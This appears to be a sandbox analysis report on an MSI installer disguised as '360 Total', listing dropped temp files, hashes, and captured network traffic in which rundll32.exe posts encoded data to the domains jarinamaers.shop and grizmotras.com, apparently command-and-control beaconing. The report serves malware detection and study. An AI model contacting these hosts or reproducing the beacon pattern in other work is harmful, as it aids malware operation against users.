Size (bytes):	512
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	BF619EAC0CDF3F68D496EA9344137E8B
SHA1:	5C3EB80066420002BC3DCC7CA4AB6EFAD7ED4AE5
SHA-256:	076A27C79E5ACE2A3D47F9DD2E83E4FF6EA8872B3C2218F66C92B89B55F36560
SHA-512:	DF40D4A774E0B453A5B87C00D6F0EF5D753143454E88EE5F7B607134598294C7905CCBCF94BBC46E474DB6EB44E56A6DBB6D9A1BE9D4FB5D1B5F2D0C6ED34BFE
Malicious:	false
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DF753A3FA17D45070A.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.06805445723953887
Encrypted:	false
SSDEEP:	6:2/9LG7iVCnLG7iVrKOzPLHKOXvZ1UKkwQa70HLIAVky6lO:2F0i8n0itFzDHFXIOQa70uO
MD5:	DDFE8FC02F97ED0B140BF8FEE34DBC22
SHA1:	23118003F91DD54D01E75F1F22FC417A1F518DB5
SHA-256:	47EBE8FB2E1FF000C6FD50F4ED992F9704EBE2816154A8637FEE2F9FCF0A97AA
SHA-512:	39D6EEB91688280E34E5DA258220236BEB2A87A7B2EC5FF349CCC42A554863F54CA9DF53C0459B688B8408EF7F13D4083AC520E6B541CD4A347B3185BE2AFBB6
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DF7FB8AB6F2332123C.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	512
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	BF619EAC0CDF3F68D496EA9344137E8B
SHA1:	5C3EB80066420002BC3DCC7CA4AB6EFAD7ED4AE5
SHA-256:	076A27C79E5ACE2A3D47F9DD2E83E4FF6EA8872B3C2218F66C92B89B55F36560
SHA-512:	DF40D4A774E0B453A5B87C00D6F0EF5D753143454E88EE5F7B607134598294C7905CCBCF94BBC46E474DB6EB44E56A6DBB6D9A1BE9D4FB5D1B5F2D0C6ED34BFE
Malicious:	false
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DFE0DE59643A97ACA1.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	Composite Document File V2 Document, Cannot read section info
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	1.2660861253773124
Encrypted:	false
SSDEEP:	48:zXwudBJvcFXOhT5O2b7SaVAErCycD27SGTR:7w9sTk2b7JewCS3
MD5:	6705E201416C56C156C28221AD7102EC
SHA1:	73A0103E661BFEAA7B78DFC07C1D674AA47CAA28
SHA-256:	3440CFC8AFF2C8F157152ABF87C4E4913A9243B4B32350790FBF06BBFC0D5AB6
SHA-512:	A4A85B82A35A325260D7EEC2F00CD15A604054F46A3A7E35BFE0C8F362B374D9AB20F4F7EB25D3D35C7BA6598072E8438A762BC3A659645BF8389116C182CA54
Malicious:	false
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DFE14153A1C06501E6.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	Composite Document File V2 Document, Cannot read section info
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	1.5808291684127274
Encrypted:	false
SSDEEP:	48:y8Ph4uRc06WXOGjT54b7SaVAErCycD27SGTR:dh41IjTub7JewCS3
MD5:	52FED0FB187091045C487FB8DFD94B4E
SHA1:	F31BA1FC0E04140F359F8F4521F61D2F14240D49
SHA-256:	BAF14058494B03F9C94972B99A7C0E9FF375991BAFEF8C74B1847304278DEADD
SHA-512:	AD6D42A2FD9049C2E5D96205A61B0F5BD7486074774A9123594842CB176406592B8F968FC4D789741C1BD18002E23BE8618285B1CE32E08D2C01786562A32B4B
Malicious:	false
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DFEE481D50198BBEA6.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	512
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	BF619EAC0CDF3F68D496EA9344137E8B
SHA1:	5C3EB80066420002BC3DCC7CA4AB6EFAD7ED4AE5
SHA-256:	076A27C79E5ACE2A3D47F9DD2E83E4FF6EA8872B3C2218F66C92B89B55F36560
SHA-512:	DF40D4A774E0B453A5B87C00D6F0EF5D753143454E88EE5F7B607134598294C7905CCBCF94BBC46E474DB6EB44E56A6DBB6D9A1BE9D4FB5D1B5F2D0C6ED34BFE
Malicious:	false
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	Composite Document File V2 Document, Little Endian, Os: Windows, Version 10.0, MSI Installer, Last Printed: Fri Dec 11 11:47:44 2009, Create Time/Date: Fri Dec 11 11:47:44 2009, Last Saved Time/Date: Fri Sep 18 15:06:51 2020, Security: 0, Code page: 1252, Revision Number: {805E70A6-23C0-4688-BBAF-6F995BB72730}, Number of Words: 10, Subject: 360 Total, Author: HuMaster LLC, Name of Creating Application: 360 Total, Template: ;1033, Comments: This installer database contains the logic and data required to install 360 Total., Title: Installation Database, Keywords: Installer, MSI, Database, Number of Pages: 200
Entropy (8bit):	7.152500797895932
TrID:	Windows SDK Setup Transform Script (63028/2) 47.91% Microsoft Windows Installer (60509/1) 46.00% Generic OLE2 / Multistream Compound File (8008/1) 6.09%
File name:	ad.msi
File size:	1'619'456 bytes
MD5:	666151c11b7899a0c764abe711d3f9b3
SHA1:	35462114e096f4d307607d713136bfe38479870d
SHA256:	8041a15e27c785f2adcce9e8c643f5cc619b52e50cd36ff043d13c4089ce1cad
SHA512:	835fee905d540f1e3b4d32a0645041c9add6ea488675a8ca99dbe571cfaaef5781bed8c1277dd7942be7d672945d68a1016c2ab5cb645d539e07893d69672adc
SSDEEP:	49152:QZH3YuW8zBQSc0ZnSKmZKumZr7A2BQTBG:+Y90Zn0K/A2OF
TLSH:	CB75D0227386C537C96E01303A29D66B5579FDB74B3140CBA3C82D2E9EB45C16639FA3
File Content Preview:	........................>.......................................................E.......a...............................(...)...*...+...,...-...........A...B...C...D...E...F..................................................................................

File Icon


Icon Hash:	2d2e3797b32b2b99

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Apr 26, 2024 02:48:16.643066883 CEST	49714	443	192.168.2.5	104.21.46.75
Apr 26, 2024 02:48:16.643151045 CEST	443	49714	104.21.46.75	192.168.2.5
Apr 26, 2024 02:48:16.643471956 CEST	49714	443	192.168.2.5	104.21.46.75
Apr 26, 2024 02:48:16.655702114 CEST	49714	443	192.168.2.5	104.21.46.75
Apr 26, 2024 02:48:16.655742884 CEST	443	49714	104.21.46.75	192.168.2.5
Apr 26, 2024 02:48:16.919209957 CEST	443	49714	104.21.46.75	192.168.2.5
Apr 26, 2024 02:48:16.919351101 CEST	49714	443	192.168.2.5	104.21.46.75
Apr 26, 2024 02:48:16.979701996 CEST	49714	443	192.168.2.5	104.21.46.75
Apr 26, 2024 02:48:16.979738951 CEST	443	49714	104.21.46.75	192.168.2.5
Apr 26, 2024 02:48:16.979996920 CEST	443	49714	104.21.46.75	192.168.2.5
Apr 26, 2024 02:48:16.983747005 CEST	49714	443	192.168.2.5	104.21.46.75
Apr 26, 2024 02:48:16.985203028 CEST	49714	443	192.168.2.5	104.21.46.75
Apr 26, 2024 02:48:17.028152943 CEST	443	49714	104.21.46.75	192.168.2.5
Apr 26, 2024 02:48:22.859837055 CEST	443	49714	104.21.46.75	192.168.2.5
Apr 26, 2024 02:48:22.859922886 CEST	49714	443	192.168.2.5	104.21.46.75
Apr 26, 2024 02:48:22.859966040 CEST	443	49714	104.21.46.75	192.168.2.5
Apr 26, 2024 02:48:22.859992981 CEST	443	49714	104.21.46.75	192.168.2.5
Apr 26, 2024 02:48:22.860158920 CEST	49714	443	192.168.2.5	104.21.46.75
Apr 26, 2024 02:48:22.860296965 CEST	49714	443	192.168.2.5	104.21.46.75
Apr 26, 2024 02:48:22.860327005 CEST	443	49714	104.21.46.75	192.168.2.5
Apr 26, 2024 02:48:23.915805101 CEST	49715	443	192.168.2.5	104.21.46.75
Apr 26, 2024 02:48:23.915874958 CEST	443	49715	104.21.46.75	192.168.2.5
Apr 26, 2024 02:48:23.915951967 CEST	49715	443	192.168.2.5	104.21.46.75
Apr 26, 2024 02:48:23.916218996 CEST	49715	443	192.168.2.5	104.21.46.75
Apr 26, 2024 02:48:23.916254044 CEST	443	49715	104.21.46.75	192.168.2.5
Apr 26, 2024 02:48:24.173628092 CEST	443	49715	104.21.46.75	192.168.2.5
Apr 26, 2024 02:48:24.173687935 CEST	49715	443	192.168.2.5	104.21.46.75
Apr 26, 2024 02:48:24.174294949 CEST	49715	443	192.168.2.5	104.21.46.75
Apr 26, 2024 02:48:24.174309969 CEST	443	49715	104.21.46.75	192.168.2.5
Apr 26, 2024 02:48:24.176217079 CEST	49715	443	192.168.2.5	104.21.46.75
Apr 26, 2024 02:48:24.176229000 CEST	443	49715	104.21.46.75	192.168.2.5
Apr 26, 2024 02:48:31.195980072 CEST	443	49715	104.21.46.75	192.168.2.5
Apr 26, 2024 02:48:31.196032047 CEST	443	49715	104.21.46.75	192.168.2.5
Apr 26, 2024 02:48:31.196217060 CEST	49715	443	192.168.2.5	104.21.46.75
Apr 26, 2024 02:48:31.196810961 CEST	49715	443	192.168.2.5	104.21.46.75
Apr 26, 2024 02:48:31.196830988 CEST	443	49715	104.21.46.75	192.168.2.5
Apr 26, 2024 02:48:31.325968981 CEST	49716	443	192.168.2.5	104.21.46.75
Apr 26, 2024 02:48:31.326080084 CEST	443	49716	104.21.46.75	192.168.2.5
Apr 26, 2024 02:48:31.326260090 CEST	49716	443	192.168.2.5	104.21.46.75
Apr 26, 2024 02:48:31.326539040 CEST	49716	443	192.168.2.5	104.21.46.75
Apr 26, 2024 02:48:31.326553106 CEST	443	49716	104.21.46.75	192.168.2.5
Apr 26, 2024 02:48:31.587157011 CEST	443	49716	104.21.46.75	192.168.2.5
Apr 26, 2024 02:48:31.587430000 CEST	49716	443	192.168.2.5	104.21.46.75
Apr 26, 2024 02:48:33.129801989 CEST	49716	443	192.168.2.5	104.21.46.75
Apr 26, 2024 02:48:33.129825115 CEST	443	49716	104.21.46.75	192.168.2.5
Apr 26, 2024 02:48:33.132189035 CEST	49716	443	192.168.2.5	104.21.46.75
Apr 26, 2024 02:48:33.132199049 CEST	443	49716	104.21.46.75	192.168.2.5
Apr 26, 2024 02:48:38.234056950 CEST	443	49716	104.21.46.75	192.168.2.5
Apr 26, 2024 02:48:38.234132051 CEST	443	49716	104.21.46.75	192.168.2.5
Apr 26, 2024 02:48:38.235032082 CEST	49716	443	192.168.2.5	104.21.46.75
Apr 26, 2024 02:48:38.235220909 CEST	49716	443	192.168.2.5	104.21.46.75
Apr 26, 2024 02:48:38.235243082 CEST	443	49716	104.21.46.75	192.168.2.5
Apr 26, 2024 02:48:38.325870991 CEST	49717	443	192.168.2.5	104.21.46.75
Apr 26, 2024 02:48:38.325910091 CEST	443	49717	104.21.46.75	192.168.2.5
Apr 26, 2024 02:48:38.326781988 CEST	49717	443	192.168.2.5	104.21.46.75
Apr 26, 2024 02:48:38.327100039 CEST	49717	443	192.168.2.5	104.21.46.75
Apr 26, 2024 02:48:38.327114105 CEST	443	49717	104.21.46.75	192.168.2.5
Apr 26, 2024 02:48:38.587868929 CEST	443	49717	104.21.46.75	192.168.2.5
Apr 26, 2024 02:48:38.591837883 CEST	49717	443	192.168.2.5	104.21.46.75
Apr 26, 2024 02:48:38.593571901 CEST	49717	443	192.168.2.5	104.21.46.75
Apr 26, 2024 02:48:38.593571901 CEST	49717	443	192.168.2.5	104.21.46.75
Apr 26, 2024 02:48:38.593585014 CEST	443	49717	104.21.46.75	192.168.2.5
Apr 26, 2024 02:48:38.593599081 CEST	443	49717	104.21.46.75	192.168.2.5
Apr 26, 2024 02:48:44.735337973 CEST	443	49717	104.21.46.75	192.168.2.5
Apr 26, 2024 02:48:44.735404015 CEST	49717	443	192.168.2.5	104.21.46.75
Apr 26, 2024 02:48:44.735425949 CEST	443	49717	104.21.46.75	192.168.2.5
Apr 26, 2024 02:48:44.735434055 CEST	443	49717	104.21.46.75	192.168.2.5
Apr 26, 2024 02:48:44.735480070 CEST	49717	443	192.168.2.5	104.21.46.75
Apr 26, 2024 02:48:44.735737085 CEST	49717	443	192.168.2.5	104.21.46.75
Apr 26, 2024 02:48:44.735754967 CEST	443	49717	104.21.46.75	192.168.2.5
Apr 26, 2024 02:48:45.091228962 CEST	49718	443	192.168.2.5	172.67.219.28
Apr 26, 2024 02:48:45.091264963 CEST	443	49718	172.67.219.28	192.168.2.5
Apr 26, 2024 02:48:45.091329098 CEST	49718	443	192.168.2.5	172.67.219.28
Apr 26, 2024 02:48:45.091772079 CEST	49718	443	192.168.2.5	172.67.219.28
Apr 26, 2024 02:48:45.091784954 CEST	443	49718	172.67.219.28	192.168.2.5
Apr 26, 2024 02:48:45.367361069 CEST	443	49718	172.67.219.28	192.168.2.5
Apr 26, 2024 02:48:45.367427111 CEST	49718	443	192.168.2.5	172.67.219.28
Apr 26, 2024 02:48:45.402038097 CEST	49718	443	192.168.2.5	172.67.219.28
Apr 26, 2024 02:48:45.402062893 CEST	443	49718	172.67.219.28	192.168.2.5
Apr 26, 2024 02:48:45.402436972 CEST	443	49718	172.67.219.28	192.168.2.5
Apr 26, 2024 02:48:45.402482986 CEST	49718	443	192.168.2.5	172.67.219.28
Apr 26, 2024 02:48:45.402915955 CEST	49718	443	192.168.2.5	172.67.219.28
Apr 26, 2024 02:48:45.448117971 CEST	443	49718	172.67.219.28	192.168.2.5
Apr 26, 2024 02:48:49.462635994 CEST	443	49718	172.67.219.28	192.168.2.5
Apr 26, 2024 02:48:49.462759972 CEST	443	49718	172.67.219.28	192.168.2.5
Apr 26, 2024 02:48:49.462867022 CEST	49718	443	192.168.2.5	172.67.219.28
Apr 26, 2024 02:48:50.923677921 CEST	49718	443	192.168.2.5	172.67.219.28
Apr 26, 2024 02:48:50.923712015 CEST	443	49718	172.67.219.28	192.168.2.5
Apr 26, 2024 02:48:51.189179897 CEST	49719	443	192.168.2.5	172.67.219.28
Apr 26, 2024 02:48:51.189289093 CEST	443	49719	172.67.219.28	192.168.2.5
Apr 26, 2024 02:48:51.189385891 CEST	49719	443	192.168.2.5	172.67.219.28
Apr 26, 2024 02:48:51.189682961 CEST	49719	443	192.168.2.5	172.67.219.28
Apr 26, 2024 02:48:51.189718962 CEST	443	49719	172.67.219.28	192.168.2.5
Apr 26, 2024 02:48:51.449820042 CEST	443	49719	172.67.219.28	192.168.2.5
Apr 26, 2024 02:48:51.449889898 CEST	49719	443	192.168.2.5	172.67.219.28
Apr 26, 2024 02:48:51.450421095 CEST	49719	443	192.168.2.5	172.67.219.28
Apr 26, 2024 02:48:51.450445890 CEST	443	49719	172.67.219.28	192.168.2.5
Apr 26, 2024 02:48:51.452012062 CEST	49719	443	192.168.2.5	172.67.219.28
Apr 26, 2024 02:48:51.452023029 CEST	443	49719	172.67.219.28	192.168.2.5
Apr 26, 2024 02:48:57.895072937 CEST	443	49719	172.67.219.28	192.168.2.5
Apr 26, 2024 02:48:57.895155907 CEST	49719	443	192.168.2.5	172.67.219.28
Apr 26, 2024 02:48:57.895175934 CEST	443	49719	172.67.219.28	192.168.2.5
Apr 26, 2024 02:48:57.895319939 CEST	49719	443	192.168.2.5	172.67.219.28

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Apr 26, 2024 02:48:16.503490925 CEST	63888	53	192.168.2.5	1.1.1.1
Apr 26, 2024 02:48:16.638087034 CEST	53	63888	1.1.1.1	192.168.2.5
Apr 26, 2024 02:48:44.927417040 CEST	50162	53	192.168.2.5	1.1.1.1
Apr 26, 2024 02:48:45.090195894 CEST	53	50162	1.1.1.1	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Apr 26, 2024 02:48:16.503490925 CEST	192.168.2.5	1.1.1.1	0xa1cd	Standard query (0)	jarinamaers.shop	A (IP address)	IN (0x0001)	false
Apr 26, 2024 02:48:44.927417040 CEST	192.168.2.5	1.1.1.1	0xf7f	Standard query (0)	grizmotras.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Apr 26, 2024 02:48:16.638087034 CEST	1.1.1.1	192.168.2.5	0xa1cd	No error (0)	jarinamaers.shop	104.21.46.75	A (IP address)	IN (0x0001)	false
Apr 26, 2024 02:48:16.638087034 CEST	1.1.1.1	192.168.2.5	0xa1cd	No error (0)	jarinamaers.shop	172.67.136.103	A (IP address)	IN (0x0001)	false
Apr 26, 2024 02:48:45.090195894 CEST	1.1.1.1	192.168.2.5	0xf7f	No error (0)	grizmotras.com	172.67.219.28	A (IP address)	IN (0x0001)	false
Apr 26, 2024 02:48:45.090195894 CEST	1.1.1.1	192.168.2.5	0xf7f	No error (0)	grizmotras.com	104.21.59.82	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

jarinamaers.shop

grizmotras.com

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49714	104.21.46.75	443	2624	C:\Windows\System32\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-26 00:48:16 UTC	229	OUT	POST /live/ HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1) Host: jarinamaers.shop Content-Length: 252 Cache-Control: no-cache
2024-04-26 00:48:16 UTC	252	OUT	Data Raw: 59 6a 4f 65 45 79 69 4d 6b 33 52 72 45 35 76 63 43 2f 48 57 43 62 45 64 32 4e 53 69 43 30 56 6b 6c 6d 79 37 39 64 54 54 4c 68 4f 50 56 38 33 30 37 43 56 58 78 71 61 42 6e 4c 41 48 36 41 50 53 63 65 4f 42 57 4c 55 55 66 73 39 46 6c 6f 50 4d 66 50 75 2b 39 73 4c 38 4b 58 7a 4a 63 68 4f 51 36 7a 46 72 48 6c 76 49 4a 6a 4a 33 6f 4c 41 55 39 55 73 4d 47 77 59 55 77 78 69 54 6f 52 70 35 44 5a 4f 37 2f 39 66 6a 48 57 47 47 50 42 6a 73 4c 61 57 31 48 32 47 79 34 6b 4a 34 39 66 61 72 37 4c 36 79 62 6c 6c 4a 32 69 59 39 6f 55 48 49 46 33 75 4c 44 34 34 36 7a 6b 6c 57 6a 51 57 64 6d 37 44 7a 2f 4a 6a 49 30 4c 59 50 48 4a 51 6c 77 35 62 79 6a 5a 4c 30 76 38 45 63 32 62 47 74 6a 38 65 4f 48 65 7a 6f 57 75 4a 34 54 74 48 48 4d 35 72 4a 53 42 39 44 57 51 3d 3d Data Ascii: YjOeEyiMk3RrE5vcC/HWCbEd2NSiC0Vklmy79dTTLhOPV8307CVXxqaBnLAH6APSceOBWLUUfs9FloPMfPu+9sL8KXzJchOQ6zFrHlvIJjJ3oLAU9UsMGwYUwxiToRp5DZO7/9fjHWGGPBjsLaW1H2Gy4kJ49far7L6ybllJ2iY9oUHIF3uLD446zklWjQWdm7Dz/JjI0LYPHJQlw5byjZL0v8Ec2bGtj8eOHezoWuJ4TtHHM5rJSB9DWQ==
2024-04-26 00:48:22 UTC	574	IN	HTTP/1.1 200 OK Date: Fri, 26 Apr 2024 00:48:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Vrafeva9SPCjQCSc8ntk1E4nqUnSJ2vxX77vaRy3zYhuwEEhDm7RD6YNhAvvR7bfwRooAiIkMi59SD%2BUEObRzDd0S3aY%2FIpm93qSvnE9AOrB0gEy%2F%2Fm8ORb0ol68GtxHrgew"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87a290fb29885c6f-MIA alt-svc: h3=":443"; ma=86400
2024-04-26 00:48:22 UTC	26	IN	Data Raw: 31 34 0d 0a 51 68 4f 6d 4d 42 32 6e 70 54 56 71 44 4a 4f 6f 63 51 3d 3d 0d 0a Data Ascii: 14QhOmMB2npTVqDJOocQ==
2024-04-26 00:48:22 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49715	104.21.46.75	443	2624	C:\Windows\System32\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-26 00:48:24 UTC	229	OUT	POST /live/ HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1) Host: jarinamaers.shop Content-Length: 180 Cache-Control: no-cache
2024-04-26 00:48:24 UTC	180	OUT	Data Raw: 59 6a 4f 65 45 79 69 4d 6b 33 52 71 45 35 76 63 43 2f 48 57 43 62 45 64 32 4e 53 69 43 30 56 6b 6c 6d 79 37 39 64 54 54 4c 68 4f 50 56 38 33 30 37 43 56 58 78 71 61 42 6e 4c 41 48 36 41 50 53 63 65 4f 42 57 4c 55 55 66 73 39 46 6c 6f 50 4d 66 50 75 2b 39 73 4c 38 4b 58 7a 4a 63 68 4f 51 36 7a 46 72 48 6c 76 49 4a 6a 4a 33 6f 4c 41 55 39 55 73 4d 47 77 59 55 77 78 69 54 6f 52 70 35 44 5a 4f 37 2f 39 66 6a 48 57 47 47 50 42 6a 73 4c 61 57 31 48 32 47 79 34 6b 4a 34 39 66 61 72 37 4c 36 79 62 6c 6c 4a 32 69 59 39 6f 55 48 49 46 33 75 4c Data Ascii: YjOeEyiMk3RqE5vcC/HWCbEd2NSiC0Vklmy79dTTLhOPV8307CVXxqaBnLAH6APSceOBWLUUfs9FloPMfPu+9sL8KXzJchOQ6zFrHlvIJjJ3oLAU9UsMGwYUwxiToRp5DZO7/9fjHWGGPBjsLaW1H2Gy4kJ49far7L6ybllJ2iY9oUHIF3uL
2024-04-26 00:48:31 UTC	572	IN	HTTP/1.1 200 OK Date: Fri, 26 Apr 2024 00:48:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=WFfOhAqVrZyNNbnUiD4pf0kZEM1cDgVjprdMReps%2FsFb6hdsXeVvxgH0VG7%2Fy6AJec3qyTPWHePQrkDFOmMfUO9asytMnCfSUUMryvotXBRr6vUPTzMt%2BE1nRLSm3wdvL9md"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87a291287fc46dd3-MIA alt-svc: h3=":443"; ma=86400
2024-04-26 00:48:31 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49716	104.21.46.75	443	2624	C:\Windows\System32\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-26 00:48:33 UTC	229	OUT	POST /live/ HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1) Host: jarinamaers.shop Content-Length: 180 Cache-Control: no-cache
2024-04-26 00:48:33 UTC	180	OUT	Data Raw: 59 6a 4f 65 45 79 69 4d 6b 33 52 70 45 35 76 63 43 2f 48 57 43 62 45 64 32 4e 53 69 43 30 56 6b 6c 6d 79 37 39 64 54 54 4c 68 4f 50 56 38 33 30 37 43 56 58 78 71 61 42 6e 4c 41 48 36 41 50 53 63 65 4f 42 57 4c 55 55 66 73 39 46 6c 6f 50 4d 66 50 75 2b 39 73 4c 38 4b 58 7a 4a 63 68 4f 51 36 7a 46 72 48 6c 76 49 4a 6a 4a 33 6f 4c 41 55 39 55 73 4d 47 77 59 55 77 78 69 54 6f 52 70 35 44 5a 4f 37 2f 39 66 6a 48 57 47 47 50 42 6a 73 4c 61 57 31 48 32 47 79 34 6b 4a 34 39 66 61 72 37 4c 36 79 62 6c 6c 4a 32 69 59 39 6f 55 48 49 46 33 75 4c Data Ascii: YjOeEyiMk3RpE5vcC/HWCbEd2NSiC0Vklmy79dTTLhOPV8307CVXxqaBnLAH6APSceOBWLUUfs9FloPMfPu+9sL8KXzJchOQ6zFrHlvIJjJ3oLAU9UsMGwYUwxiToRp5DZO7/9fjHWGGPBjsLaW1H2Gy4kJ49far7L6ybllJ2iY9oUHIF3uL
2024-04-26 00:48:38 UTC	574	IN	HTTP/1.1 200 OK Date: Fri, 26 Apr 2024 00:48:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=orDHPeiOMuFrt9YYHiHNvqnOLePVM3zJe2viwCgSp%2FuWJQj3IfrWIdcV6w%2BLWUHo01gtdmrdjG1sCovD7odV5bx5hvTJFS8ks1035uing%2BjroL%2BSLvSHeHEAbLLXd08tp2QX"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87a2915f785409d2-MIA alt-svc: h3=":443"; ma=86400
2024-04-26 00:48:38 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49717	104.21.46.75	443	2624	C:\Windows\System32\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-26 00:48:38 UTC	229	OUT	POST /live/ HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1) Host: jarinamaers.shop Content-Length: 180 Cache-Control: no-cache
2024-04-26 00:48:38 UTC	180	OUT	Data Raw: 59 6a 4f 65 45 79 69 4d 6b 33 52 6f 45 35 76 63 43 2f 48 57 43 62 45 64 32 4e 53 69 43 30 56 6b 6c 6d 79 37 39 64 54 54 4c 68 4f 50 56 38 33 30 37 43 56 58 78 71 61 42 6e 4c 41 48 36 41 50 53 63 65 4f 42 57 4c 55 55 66 73 39 46 6c 6f 50 4d 66 50 75 2b 39 73 4c 38 4b 58 7a 4a 63 68 4f 51 36 7a 46 72 48 6c 76 49 4a 6a 4a 33 6f 4c 41 55 39 55 73 4d 47 77 59 55 77 78 69 54 6f 52 70 35 44 5a 4f 37 2f 39 66 6a 48 57 47 47 50 42 6a 73 4c 61 57 31 48 32 47 79 34 6b 4a 34 39 66 61 72 37 4c 36 79 62 6c 6c 4a 32 69 59 39 6f 55 48 49 46 33 75 4c Data Ascii: YjOeEyiMk3RoE5vcC/HWCbEd2NSiC0Vklmy79dTTLhOPV8307CVXxqaBnLAH6APSceOBWLUUfs9FloPMfPu+9sL8KXzJchOQ6zFrHlvIJjJ3oLAU9UsMGwYUwxiToRp5DZO7/9fjHWGGPBjsLaW1H2Gy4kJ49far7L6ybllJ2iY9oUHIF3uL
2024-04-26 00:48:44 UTC	576	IN	HTTP/1.1 200 OK Date: Fri, 26 Apr 2024 00:48:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=VpTBdjA5RSFhRQAUPTjOezk91ItbQKgquQPF5%2B4sEe3CHSUjUCnmEJFdDI0p6Ok7FTUm0eG%2Bop%2FiLKJbhC1a555w3FrReQc5qjHicgNNCp0X5CKC%2FCDwlo7GeW%2F84VPK0e4S"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87a2918298fadad9-MIA alt-svc: h3=":443"; ma=86400
2024-04-26 00:48:44 UTC	162	IN	Data Raw: 39 63 0d 0a 51 68 43 75 50 41 36 38 73 77 56 57 50 37 72 33 4e 38 65 58 43 4f 73 53 32 63 6d 32 52 55 78 34 6a 6a 6a 77 71 35 7a 38 41 43 58 4c 42 76 2b 63 79 6e 6b 43 33 6f 36 71 32 35 4d 52 31 6a 36 77 45 2b 33 30 53 2f 64 56 49 4a 31 51 6c 4a 4f 65 62 75 58 6f 35 73 62 75 4d 32 44 4a 63 52 50 5a 70 44 35 69 48 42 72 58 61 53 4e 67 34 4d 68 75 69 7a 64 35 5a 48 39 71 74 56 32 58 35 45 38 74 46 4a 69 39 2b 4d 6e 69 58 44 36 41 4a 55 75 7a 5a 4f 2b 2b 42 47 72 63 6e 41 3d 3d 0d 0a Data Ascii: 9cQhCuPA68swVWP7r3N8eXCOsS2cm2RUx4jjjwq5z8ACXLBv+cynkC3o6q25MR1j6wE+30S/dVIJ1QlJOebuXo5sbuM2DJcRPZpD5iHBrXaSNg4Mhuizd5ZH9qtV2X5E8tFJi9+MniXD6AJUuzZO++BGrcnA==
2024-04-26 00:48:44 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

